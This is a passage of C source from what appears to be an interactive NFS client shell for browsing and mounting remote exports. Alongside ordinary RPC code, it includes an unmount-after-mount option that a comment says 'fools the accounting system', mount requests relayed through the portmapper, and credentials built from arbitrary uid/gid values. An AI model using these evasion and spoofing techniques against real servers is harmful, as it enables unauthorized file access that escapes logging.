if (argc >= 1 && strcmp(argv[0], "-u") == 0) {
argv++; argc--;
umount = 1;
}
if (argc >= 1 && strcmp(argv[0], "-p") == 0) {
argv++; argc--;
portmap = 1;
}
if (argc == 0) {
fprintf(stderr, "Usage: mount [-u] [-p] [<host>:]<path>\n");
return;
}
if ((path = strchr(host = argv[0], ':')) != NULL) {
*path++ = '\0';
/* this heuristic is far too simple */
if (remotehost && strcmp(remotehost, host) == 0) {
if (mountpath) close_nfs();
} else if (!open_mount(host))
return;
} else
path = argv[0];
if (remotehost == NULL) {
fprintf(stderr, "mount: no host specified\n");
return;
}
open_nfs(path, umount, portmap);
}
/*
* Unmount remote file system, and close
* RPC channel.
*/
/* ARGUSED */
do_umount(argc, argv)
int argc;
char **argv;
{
if (argc != 1) {
fprintf(stderr, "Usage: umount\n");
return;
}
if (mountpath == NULL)
fprintf(stderr, "umount: no remote file system mounted\n");
else
close_nfs();
}
/*
* Unmount all remote file system from this host
*/
/* ARGUSED */
do_umountall(argc, argv)
int argc;
char **argv;
{
if (argc != 1) {
fprintf(stderr, "Usage: umountall\n");
return;
}
if (remotehost == NULL) {
fprintf(stderr, "umountall: no host specified\n");
return;
}
if (mountpath != NULL) close_nfs();
(void) mountproc_umntall_1(NULL, mntclient);
}
/*
* Display all exported file systems on remote system
*/
/* ARGUSED */
do_export(argc, argv)
int argc;
char **argv;
{
exports ex, *exp;
groups gr;
if (argc != 1) {
fprintf(stderr, "Usage: export\n");
return;
}
if (remotehost == NULL) {
fprintf(stderr, "export: no host specified\n");
return;
}
if ((exp = mountproc_export_1(NULL, mntclient)) == NULL) {
clnt_perror(mntclient, "mountproc_export");
return;
}
printf("Export list for %s:\n", remotehost);
for (ex = *exp; ex != NULL; ex = ex->ex_next) {
printf("%-25s", ex->ex_dir);
if (strlen(ex->ex_dir) >= 25)
printf("\n ");
if ((gr = ex->ex_groups) == NULL)
printf("everyone");
while (gr) {
printf("%s ", gr->gr_name);
gr = gr->gr_next;
}
putchar('\n');
}
}
/*
* Display all remote mounted file systems
*/
/* ARGUSED */
do_dump(argc, argv)
int argc;
char **argv;
{
mountlist ml, *mlp;
if (argc != 1) {
fprintf(stderr, "Usage: dump\n");
return;
}
if (remotehost == NULL) {
fprintf(stderr, "dump: no host specified\n");
return;
}
if ((mlp = mountproc_dump_1(NULL, mntclient)) == NULL) {
clnt_perror(mntclient, "mountproc_dump");
return;
}
for (ml = *mlp; ml != NULL; ml = ml->ml_next)
printf("%s:%s\n", ml->ml_hostname, ml->ml_directory);
}
/*
* Generic status report
*/
/* ARGUSED */
do_status(argc, argv)
int argc;
char **argv;
{
if (argc != 1) {
fprintf(stderr, "Usage: status\n");
return;
}
printf("User id : %d\n", uid);
printf("Group id : %d\n", gid);
if (remotehost)
printf("Remote host : `%s'\n", remotehost);
if (mountpath)
printf("Mount path : `%s'\n", mountpath);
printf("Transfer size: %d\n", transfersize);
}
/*
* Simple on-line help facility
*/
/* ARGUSED */
do_help(argc, argv)
int argc;
char **argv;
{
register int i;
for (i = 0; i < sizeof(keyword)/sizeof(struct keyword); i++) {
if (argc == 2 && strcmp(keyword[i].kw_command, argv[1]) != 0)
continue;
printf("%s %s\n", keyword[i].kw_command, keyword[i].kw_help);
}
}
/*
* Open a channel to remote Mount daemon,
* possibly closing an already open connection.
*/
int
open_mount(host)
char *host;
{
int sock = privileged();
/* close previous mounted host */
if (remotehost != NULL)
close_mount();
/* convert hostname to IP address */
if (isdigit(*host)) {
server_addr.sin_addr.s_addr = inet_addr(host);
} else {
struct hostent *hp = gethostbyname(host);
if (hp == NULL) {
fprintf(stderr, "%s: unknown host\n", host);
return 0;
}
bcopy(hp->h_addr, &server_addr.sin_addr.s_addr, hp->h_length);
host = hp->h_name;
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = 0;
/* set host name */
if ((remotehost = malloc(strlen(host) + 1)) == NULL) {
fprintf(stderr, "internal error: no more core for host\n");
return 0;
}
strcpy(remotehost, host);
/* setup communication channel with mount daemon */
mntserver_addr = server_addr;
if ((mntclient = clntudp_create(&mntserver_addr, MOUNTPROG,
MOUNTVERS, timeout, &sock)) == NULL) {
clnt_pcreateerror("mount clntudp_create");
return 0;
}
clnt_control(mntclient, CLSET_TIMEOUT, &timeout);
mntclient->cl_auth = authunix_create_default(0, 0);
if (verbose)
printf("Open %s (%s)\n",
remotehost, inet_ntoa(server_addr.sin_addr));
return 1;
}
/*
* Close channel to mount daemon,
* possibly umounting a NFS file system.
*/
close_mount()
{
if (mountpath) close_nfs();
if (verbose) printf("Close `%s'\n", remotehost);
free(remotehost);
remotehost = NULL;
if (mntclient) {
auth_destroy(mntclient->cl_auth);
clnt_destroy(mntclient);
}
}
/*
* Mount an NFS file system, perhaps closing
* a previous mounted one. The umount option
* fools the accounting system.
*/
int
open_nfs(path, umount, portmap)
char *path;
int umount, portmap;
{
int sock = privileged();
/* umount previous mounted remote file system */
if (mountpath != NULL)
close_nfs();
/* setup communication channel with NFS server */
nfsserver_addr = server_addr;
if ((nfsclient = clntudp_create(&nfsserver_addr, NFS_PROGRAM,
NFS_VERSION, timeout, &sock)) == NULL) {
clnt_pcreateerror("nfs clntudp_create");
return 0;
}
clnt_control(nfsclient, CLSET_TIMEOUT, &timeout);
nfsclient->cl_auth = authunix_create_default(uid, gid);
/*
* Get file handle for this path from the mount daemon. There
* are two ways to get it, either ask it directly or get it
* through the port mapper.
*/
if (portmap) {
if ((mountpoint = pmap_mnt(&path, &mntserver_addr)) == NULL)
return 0;
} else if ((mountpoint = mountproc_mnt_1(&path, mntclient)) == NULL) {
clnt_perror(mntclient, "mountproc_mnt");
return 0;
}
if (mountpoint->fhs_status != NFS_OK) {
fprintf(stderr, "Mount failed: %s\n",
nfs_error(mountpoint->fhs_status));
return 0;
}
bcopy(mountpoint->fhstatus_u.fhs_fhandle, directory_handle, NFS_FHSIZE);
if (umount) (void) mountproc_umnt_1(&path, mntclient);
/* get transfer size */
if ((transfersize = determine_transfersize()) <= 0) {
fprintf(stderr, "Mount failed: Unable to obtain transfer size\n");
(void) mountproc_umnt_1(&path, mntclient);
return 0;
}
/* set mount path */
if ((mountpath = malloc(strlen(path) + 1)) == NULL) {
fprintf(stderr, "internal error: no more core for mountpath\n");
return 0;
}
strcpy(mountpath, path);
if (verbose)
printf("Mount `%s'%s, transfer size %d bytes.\n",
mountpath, umount ? " (unmount)":"", transfersize);
return 1;
}
/*
* Make a mount call via the port mapper
*/
fhstatus *
pmap_mnt(argp, server_addr)
dirpath *argp;
struct sockaddr_in *server_addr;
{
enum clnt_stat stat;
static fhstatus res;
u_long port;
bzero((char *)&res, sizeof(res));
if ((stat = pmap_rmtcall(server_addr, MOUNTPROG, MOUNTVERS, MOUNTPROC_MNT,
xdr_dirpath, argp, xdr_fhstatus, &res, timeout, &port)) != RPC_SUCCESS) {
clnt_perrno(stat);
return NULL;
}
return &res;
}
/*
* Determine NFS server's transfer size
*/
static int
determine_transfersize()
{
statfsres *res;
if ((res = nfsproc_statfs_2(directory_handle, nfsclient)) == NULL)
return 0;
if (res->status != NFS_OK)
return 0;
return res->statfsres_u.reply.tsize;
}
/*
* Acquire a privileged port when possible
*/
int
privileged()
{
int lport = IPPORT_RESERVED - 1;
struct sockaddr_in sin;
int s, dontblock = 1;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s < 0)
return RPC_ANYSOCK;
for (;;) {
sin.sin_port = htons((u_short)lport);
if (bind(s, (caddr_t)&sin, sizeof (sin), 0) >= 0) {
(void)ioctl(s, FIONBIO, (char *) &dontblock);
if (verbose)
fprintf(stderr, "Using a privileged port (%d)\n", lport);
fflush(stderr);
return s;
}
if (errno != EADDRINUSE && errno != EADDRNOTAVAIL)
return RPC_ANYSOCK;
(lport)--;
if (lport == IPPORT_RESERVED/2) {
fprintf(stderr, "privileged socket: All ports in use\n");
return RPC_ANYSOCK;
}
}
}
/*
* Close an NFS mounted file system
*/
close_nfs()
{
if (mountpath == NULL) return;
if (verbose) printf("Unmount `%s'\n", mountpath);
(void) mountproc_umnt_1(&mountpath, mntclient);
free(mountpath);
mountpath = NULL;
if (nfsclient) {
auth_destroy(nfsclient->cl_auth);
clnt_destroy(nfsclient);
}
}
/*
* Returns an auth handle with parameters determined by doing lots of
* syscalls.
*/
AUTH *
authunix_create_default(uid, gid)
int uid, gid;
{
char machname[MAX_MACHINE_NAME + 1];
int gids[1];
if (gethostname(machname, MAX_MACHINE_NAME) == -1) {
fprintf(stderr, "authunix_create_default: cannot get hostname\n");
exit(1);
}
machname[MAX_MACHINE_NAME] = 0;
gids[0] = gid;
return (authunix_create(machname, uid, gid, 1, gids));
}
/*
* Read all entries (names) in directory 'dirhandle' into
* a dynamically build table. It is up to the caller to free
* this table.
*/
getdirentries(dirhandle, table, ptr, nentries)
fhandle *dirhandle;
register char ***table;
register char ***ptr;
int nentries;
{
readdirargs args;
readdirres *res;
entry *ep;
int dircmp();
char **last;
*ptr = *table = (char **) calloc(nentries, sizeof(char *));
last = *ptr + nentries;
if (*ptr == NULL) {
fprintf(stderr, "getdirentries: out of memory\n");
return 0;
}
bcopy(*dirhandle, &args.dir, NFS_FHSIZE);
bzero(args.cookie, NFS_COOKIESIZE);
args.count = 1000;
for (;;) {
if ((res = nfsproc_readdir_2(&args, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_readdir");
break;
}
if (res->status != NFS_OK) {
fprintf(stderr, "Readdir failed: %s\n", nfs_error(res->status));
break;
}
ep = res->readdirres_u.reply.entries;
while (ep != NULL) {
if (*ptr == last) {
*table = (char **)realloc(*table, 2*nentries*sizeof(char *));
if (*table == NULL) {
fprintf(stderr, "getdirentries: out of memory\n");
exit(1);
}
*ptr = *table + nentries;
last = *ptr + nentries;
nentries *= 2;
}
if ((*(*ptr)++ = strsave(ep->name)) == NULL)
return 0;
if (ep->nextentry == NULL)
break;
ep = ep->nextentry;
}
if (res->readdirres_u.reply.eof)
break;
bcopy(ep->cookie, args.cookie, NFS_COOKIESIZE);
}
qsort(*table, *ptr - *table, sizeof(char **), dircmp);
return 1;
}
char *
strsave(str)
char *str;
{
char *cp = malloc(strlen(str) + 1);
if (cp == NULL) {
fprintf(stderr, "strsave: out of memory\n");
return NULL;
}
strcpy(cp, str);
return cp;
}
int
dircmp(p, q)
char **p, **q;
{
return strcmp(*p, *q);
}
/*
* Match string against a normal shell pattern (*?[])
*/
int
match(s, argc, argv)
char *s;
int argc;
char **argv;
{
register int i;
if (argc == 0) return 1;
for (i = 0; i < argc; i++)
if (matchpattern(s, argv[i]))
return 1;
return 0;
}
int
matchpattern(s, p)
char *s, *p;
{
if (*s == '.' && *p != '.')
return 0;
return amatchpattern(s, p);
}
int
amatchpattern(s, p)
register char *s, *p;
{
register int scc;
int c, cc, ok, lc;
if (scc = *s++)
if ((scc &= 0177) == 0)
scc = 0200;
switch (c = *p++) {
case '[':
ok = 0;
lc = 077777;
while (cc = *p++) {
if (cc == ']') {
if (ok)
return amatchpattern(s, p);
else
return 0;
} else if (cc == '-') {
if (lc <= scc && scc <= (c = *p++))
ok++;
} else
if (scc == (lc = cc))
ok++;
}
return 0;
case '*':
return umatchpattern(--s, p);
case '\0':
return !scc;
default:
if (c != scc)
return 0;
case '?':
if (scc)
return amatchpattern(s, p);
return 0;
}
}
int
umatchpattern(s, p)
register char *s, *p;
{
if (*p == '\0')
return 1;
while (*s != '\0')
if (amatchpattern(s++, p))
return 1;
return 0;
}
/*
* NFS errors
*/
char *
nfs_error(nfsstat)
enum nfsstat nfsstat;
{
switch (nfsstat) {
case NFS_OK:
return "No error";
case NFSERR_PERM:
return "Not owner";
case NFSERR_NOENT:
return "No such file or directory";
case NFSERR_IO:
return "I/O error";
case NFSERR_NXIO:
return "No such device or address";
case NFSERR_ACCES:
return "Permission denied";
case NFSERR_EXIST:
return "File exists";
case NFSERR_NODEV:
return "No such device";
case NFSERR_NOTDIR:
return "Not a directory";
case NFSERR_ISDIR:
return "Is a directory";
case NFSERR_FBIG:
return "File too large";
case NFSERR_NOSPC:
return "No space left on device";
case NFSERR_ROFS:
return "Read-only file system";
case NFSERR_NAMETOOLONG:
return "File name too long";
case NFSERR_NOTEMPTY:
return "Directory not empty";
case NFSERR_DQUOT:
return "Disc quota exceeded";
case NFSERR_STALE:
return "Stale NFS file handle";
case NFSERR_WFLUSH:
return "Write cache flushed";
default:
return "UKNOWN NFS ERROR";
}
}